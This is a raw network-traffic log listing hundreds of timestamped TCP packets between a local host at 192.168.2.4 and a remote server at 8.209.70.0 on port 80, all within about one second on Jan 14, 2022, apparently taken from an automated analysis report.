Jan 14, 2022 12:30:11.886305094 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886344910 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886360884 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886383057 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886421919 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886435986 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886460066 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886497974 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886512041 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886535883 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886574030 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886586905 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886612892 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886652946 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886661053 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886688948 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886729956 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886744976 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886769056 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886806011 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886818886 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886843920 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886882067 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886892080 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886921883 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.886969090 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.886974096 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887013912 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887053967 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887064934 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.887099028 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887136936 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887151003 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.887176037 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887216091 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887227058 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.887269974 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887310982 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887325048 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.887350082 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887387037 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887394905 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.887428999 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887466908 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887474060 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.887506008 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887546062 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887561083 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.887583971 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887623072 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887636900 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.887660980 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887697935 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887712002 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.887737036 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887775898 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887789965 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.887823105 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887875080 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.887923956 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.887969971 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.888025999 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.888061047 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.888101101 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.888138056 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.888154030 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.888176918 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.888214111 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.888231039 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.888254881 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.888294935 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.888305902 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.905703068 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.905757904 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.905788898 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.905801058 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.905811071 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.905843019 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.905869961 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.905900955 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.905934095 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.905975103 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.905987978 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906013012 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906024933 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906053066 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906066895 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906091928 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906115055 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906141043 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906141043 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906181097 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906192064 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906229973 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906280041 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906317949 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906330109 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906358004 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906368971 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906405926 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906408072 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906443119 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906455994 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906482935 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906497955 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906523943 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906533003 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906565905 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906573057 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906610966 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906615973 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906649113 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906665087 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906689882 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906702995 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906747103 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906755924 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906785965 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906793118 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906835079 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906838894 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906874895 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906889915 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906913996 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906935930 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906955957 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.906981945 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.906997919 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907011986 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907042027 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907053947 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907080889 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907094955 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907120943 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907130957 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907165051 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907170057 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907203913 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907218933 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907244921 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907260895 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907285929 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907294989 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907335997 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907339096 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907385111 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907387018 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907424927 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907433033 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907465935 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907474041 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907505989 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907514095 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907550097 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907552958 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907593966 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907608032 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907634020 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907646894 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907674074 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907686949 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907712936 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907721043 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907759905 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907762051 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907803059 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907815933 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907841921 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907854080 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907881975 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907885075 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907922029 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907953978 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.907960892 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.907975912 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908003092 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908006907 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908045053 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908051968 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908082008 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908102989 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908122063 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908144951 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908162117 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908174992 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908201933 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908206940 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908251047 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908252001 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908288002 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908302069 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908329964 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908334970 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908368111 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908375025 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908406019 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908417940 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908444881 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908448935 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908489943 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908493042 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908540010 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908549070 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908596992 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908596992 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908633947 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908644915 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908673048 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908679008 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908713102 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908720970 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908751011 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908762932 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908791065 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908804893 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908830881 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908833981 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908870935 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908888102 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908926964 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908943892 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.908967018 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.908972979 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909006119 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909018040 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909045935 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909059048 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909085035 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909092903 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909123898 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909132004 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909163952 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909169912 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909200907 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909208059 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909240961 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909245968 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909280062 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909286976 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909317017 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909323931 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909356117 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909360886 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909394026 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909400940 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909432888 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909436941 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909471989 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909475088 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909508944 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909516096 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909552097 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909554005 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909594059 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909604073 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909631014 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909641027 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909671068 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909677982 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909708977 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909734964 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909748077 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909751892 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909787893 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909801006 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909825087 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909840107 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909871101 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909893990 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909934998 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909966946 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.909974098 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.909979105 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910012007 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910021067 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910065889 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910065889 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910104990 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910123110 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910141945 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910145044 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910181046 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910188913 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910221100 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910229921 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910259962 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910273075 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910299063 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910309076 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910337925 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910353899 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910376072 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910387993 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910414934 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910454035 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910454988 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.910471916 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.910504103 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.928417921 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928457022 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928491116 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928514004 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.928522110 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928535938 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.928560972 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928572893 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.928597927 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928600073 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.928632975 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928643942 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.928667068 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928677082 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.928699017 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928733110 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928798914 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928829908 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.928833008 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.928886890 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929153919 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929217100 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929399967 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929431915 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929452896 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929480076 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929503918 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929538965 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929548979 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929580927 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929596901 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929640055 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929688931 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929721117 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929735899 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929754972 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929761887 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929790974 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929801941 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929822922 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929833889 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929867983 CET	49896	80	192.168.2.4	8.209.70.0
